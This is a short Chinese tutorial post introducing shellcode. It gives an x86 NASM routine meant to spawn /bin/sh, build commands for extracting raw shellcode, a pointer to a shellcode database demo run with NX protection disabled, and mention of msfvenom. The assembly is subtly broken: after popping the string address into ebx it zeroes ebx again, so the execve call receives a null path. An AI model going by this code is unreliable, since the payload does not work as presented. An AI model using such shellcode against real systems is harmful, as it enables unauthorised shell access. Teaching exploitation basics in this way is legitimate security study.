shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制之机械码,以其经常让攻击者获得shell而得名——wiki
简单来说就是一段可以执行特定功能(一定情况下)的“字符串”。
shellcode可以自己写汇编生成,比如(假设文件名shell.asm):
[section .data]
global _start
_start:
jmp sh
se:
pop ebx
xor eax, eax
mov al, 11
xor ecx, ecx
xor ebx, ebx
int 0x80
sh:
call se
db '/bin/sh',0
要编译成x86的shellcode的话(不同系统架构生成的shellcode是不同的)可以通过执行下面命令编译:
nasm -felf32 shell.asm -o shell.o
ld -melf_i386 shell.o -o shell
objcopy -O binary shell.o shell.bin
最后shell.bin里面就是想要的shellcode。
shellcode也可以到网上的数据库去找,比如这个,打开其中一个页面看一下:
![](https://static-img.0xffff.one/jdEJEnYNxaQiCx_fo_daTJRHpNBufC2X9IaSlLMX2uQ/q:90/w:800/rt:fit/aHR0cHM6Ly9zdGF0/aWMuMHhmZmZmLm9u/ZS9hc3NldHMvZmls/ZXMvMjAxOS0wOS0w/My8xNTY3NDkzNDUz/LTg5MDg0LTIwMTkt/MDktMDMtMTQtNTAt/MjYucG5n.jpg)
里面是这个shellcode的一个C语言的deemo,复制下来编译运行一下(是x86的,所以要编译成32位程序,还要关闭NX保护),运行时可以成功跑出一个shell:
![](https://static-img.0xffff.one/CYOhPpWMbLHnUzcMQkE5bhT3NmWAS33p99aLhxD-hyc/q:90/w:800/rt:fit/aHR0cHM6Ly9zdGF0/aWMuMHhmZmZmLm9u/ZS9hc3NldHMvZmls/ZXMvMjAxOS0wOS0w/My8xNTY3NDkzNzkw/LTI2Mzc0OC0yMDE5/LTA5LTAzLTE0LTU1/LTUxLnBuZw.jpg)
查数据库的话其实还是有一定局限性的,比如我只想运行特定的命令,或者绕过某一些限制。所以还有另一种做法的话是用工具生成,比如有一个叫msfvenom的,可以根据要执行的命令生成shellcode,比如我只想执行"uname -a":
![](https://static-img.0xffff.one/JF0JsnAD0xhM_PxLHhFbLKF4U7WkpCR6YJz2omIT3ZY/q:90/w:800/rt:fit/aHR0cHM6Ly9zdGF0/aWMuMHhmZmZmLm9u/ZS9hc3NldHMvZmls/ZXMvMjAxOS0wOS0w/My8xNTY3NDk0MzQ3/LTMzNzI5MS0yMDE5/LTA5LTAzLTE1LTA0/LTEzLnBuZw.jpg)
(但其实还是觉得手写的shellcode才是坠吼的 - -)